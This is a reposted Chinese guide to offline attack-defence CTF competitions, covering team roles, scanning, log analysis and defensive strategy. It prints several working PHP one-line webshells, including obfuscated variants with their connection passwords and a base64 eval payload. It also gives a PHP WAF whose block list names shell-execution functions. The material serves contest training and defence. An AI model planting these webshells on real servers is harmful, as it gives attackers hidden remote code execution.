CTF線下攻防賽


SSH登陸

兩三個人進行分工,一個粗略的看下web,有登陸口的話,就需要修改密碼,將情況反饋給隊友,讓登陸ssh的小伙伴進行密碼的修改,改成炒雞復雜、然后將Web目錄下載下來,上WAF、文件監控、端口掃描。將這幾個工作分工好,順序就像圖上。

tips:將下載下來的Web目錄理一遍,看是否有可疑的文件夾,比如bak。

網絡拓撲

主機發現

如果是在同個C段,或者B段,均可以使用RouterScan進行對80端口掃描進行掃描得出,嫌麻煩的話,就用httpscan(https://github.com/zer0h/httpscan)這個小巧的腳本。

千萬要記得掃端口,這很重要。用nmap也行,自己寫的腳本或者網上找的也行。

預留后門

有的比賽環境,為了照顧比較菜的選手(此處舉手),預留了一句話后門。將整個web目錄下載到本地,使用hm.exe、D盾或者別的掃描工具可以掃描得出(如果預留)。

 

一句話

控制用的一句話木馬,最好是需要菜刀配置的,這樣做是為了不讓別人輕易的利用你的一句話,要不然就只能等着別人用你的腳本撿分。

簡單舉例:

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

連接方式:php?2=assert密碼是1。

獻上我常用得一句話

<?php

$a=chr(96^5);

$b=chr(57^79);

$c=chr(15^110);

$d=chr(58^86);

$e='($_REQUEST[C])';

@assert($a.$b.$c.$d.$e);

?>

配置為?b=))99(rhC(tseuqeR+lave

<?php

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}

?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=

連接密碼:0(零)

 

日志分析

1.感知可能正在發生的攻擊,從而規避存在的安全風險

2.應急響應,還原攻擊者的攻擊路徑,從而挽回已經造成的損失

記錄log腳本

這種腳本網上有很多。

<?php

date_default_timezone_set('Asia/Shanghai');

$ip = $_SERVER["REMOTE_ADDR"]; //記錄訪問者的ip

$filename = $_SERVER['PHP_SELF'];//訪問者要訪問的文件名

$parameter = $_SERVER["QUERY_STRING"]; //訪問者要請求的參數

$time = date('Y-m-d H:i:s',time()); //訪問時間

$logadd = '來訪時間:'.$time.'-->'.'訪問鏈接:'.'http://'.$ip.$filename.'?'.$parameter."rn";

// log記錄

$fh = fopen("log.txt", "a");

fwrite($fh, $logadd);

fclose($fh);

?>

日志分析工具

1.LogForensics 騰訊實驗室

https://security.tencent.com/index.php/opensource/detail/15

2.北風飄然@金烏網絡安全實驗室

http://www.freebuf.com/sectool/126698.html

3.網絡ID為piaox的安全從業人員:

http://www.freebuf.com/sectool/110644.html

4.網絡ID:SecSky

http://www.freebuf.com/sectool/8982.html

5.網絡ID:鬼魅羊羔

http://www.freebuf.com/articles/web/96675.html

 

 

 

題目類型

1-出題人自己寫的cms

2-常見或者不常見的cms。

3-一些框架漏洞

0x02:代碼類型

目前來說,國內比賽依舊是php居多,當然也會有一些別的,比如py,lua這種。

 

0x03:題目漏洞類型

 

1-sqli居多

 

2-文件包含

 

3-各種rce

 

4-文件上傳

 

如何防守

 

其實防守更多看的是誰比較細心。

 

0x01:比賽開始的時候

 

比賽開始時,當我們連上ssh的時候,我們首先應該做的是把源碼down下來,及時做好備份。

 

然后在盡量不違反主辦方check的原則下掛上自己的waf。

 

一般來說,主辦方可能會隔一段時間提供前一時段的流量,也可能不會,所以這個時候需要我們自己去抓流量。

 

0x02:然后的工作

 

當然是審計,審計,再審計。

 

0x03:當發現被打時

 

當發現自己被打時,首先嘗試還原以前的備份(記得備份當前),如果依然被打,這個時候應該跟隊友分好工,查看抓取的流量以及查看服務器上是不是存在shell。

 

 

 

 

一個web狗需要具備的一些東西

 

1-快速的漏洞反應能力。

 

因為有的時候,一些比賽放的漏洞都是網上能查到的,所以這個時候需要一個好的搜索技巧。或者是一些rce顯而易見的那種。

 

2-快速編寫腳本的能力。

 

因為大家的服務都是一樣的,而你如果能通過比如注入的方式拿到flag,如果用hackbar一個個去弄,顯然不夠優雅,而且有時候特別會容易遺漏,那么這個時候寫個小py無疑是極好的。

 

3-一個好的心態

 

畢竟跟你同場競技的都是各位大佬,所以當你發現自己被打的時候,心態不要崩,一旦崩了就基本宣布gg了。

 

 

 

當我們處於優勢地位時

 

 

 

除非處於那種絕對優勢的時候,我們可以什么都不在乎。

 

 

 

當我們處於一個微弱優勢時,這個時候我們需要一個比較腹黑的思想,比如說,A隊與B隊只差了可能幾百的分數,而A隊這個時候有B隊的webshell,那么如何把B隊拖下水,相信大家都懂。

 

 

 

當我們處於劣勢地位時

 

 

 

首先還是那句話,心態不要崩。

 

 

 

其次因為web比較容易抓取流量,所以即使我們被打,我們也可以及時通過分析流量去查看別的隊伍的payload,從而進行反打。

 

 

 

如果自己的服務器上被種了shell,刪除是肯定的,但是要這樣想,如果給你種了shell,那么這種一般是自動化腳本打的,就意味着別的隊伍也可能被種,路徑密碼什么的都一樣。

 

 

 

 

最想要的WAF

<?php

    error_reporting(0);

    define('LOG_FILENAME','log.txt');

    function waf()

    {

        if (!function_exists('getallheaders')) {

            function getallheaders() {

                foreach ($_SERVER as $name => $value) {

                    if (substr($name, 0, 5) == 'HTTP_')

                        $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;

                }

                return $headers;

            }

        }

        $get = $_GET;

        $post = $_POST;

        $cookie = $_COOKIE;

        $header = getallheaders();

        $files = $_FILES;

        $ip = $_SERVER["REMOTE_ADDR"];

        $method = $_SERVER['REQUEST_METHOD'];

        $filepath = $_SERVER["SCRIPT_NAME"];

        //rewirte shell which uploaded by others, you can do more

        foreach ($_FILES as $key => $value) {

            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);

            file_put_contents($_FILES[$key]['tmp_name'], "virink");

        }

        unset($header['Accept']);//fix a bug

        $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

        //deal with

        $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";

        $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";

        $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";

        $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";

        $vpattern = explode("|",$pattern);

        $bool = false;

        foreach ($input as $k => $v) {

            foreach($vpattern as $value){

                foreach ($v as $kk => $vv) {

                    if (preg_match( "/$value/i", $vv )){

                        $bool = true;

                        logging($input);

                        break;

                    }

                }

                if($bool) break;

            }

            if($bool) break;

        }

    }

    function logging($var){

        file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);

        // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

    }

    waf();

?>

 

這個WAF在線下攻防賽中,絕對是一個大殺器。

不僅攔截了大多數非法語句,還能記錄所有的攻擊流量,輕松得到別人的payload。

不知道主辦方要如何解決這個WAF所存在的問題。

當然,這個WAF應該也不是完美的,還可以添加更多的規則,讓他變得更強!

接下來再說說,在實戰中如何加載這個WAF。

根據權限不同,就有不同的加載方式。

有root權限

那麽,這樣就簡單了,直接寫在配置中。

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重啟Apache或者php-fpm就能生效了。

當然也可以寫在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”

只有user權限

沒寫系統權限就只能在代碼上面下手了,也就是文件包含。

這鍾情況又可以用不同的方式包含。

如果是框架型應用,那麽就可以添加在入口文件,例如index.php,

如果不是框架應用,那麽可以在公共配置文件config.php等相關文件中包含。

include('phpwaf.php');


還有一種是替換index.php,也就是講index.php改名為index2.php,然后講phpwaf.php改成index.php。

當然還沒完,還要在原phpwaf.php中包含原來的index.php。

index.php -> index2.php

phpwaf.php -> index.php

include('index2.php');

 

 

 

最后兩個鏈接希望對彼此有用(http://bobao.360.cn/ctf/detail/169.html)(http://byd.dropsec.xyz/2017/05/16/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E7%9B%B8%E5%85%B3%E5%B7%A5%E5%85%B7/index.html)。

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM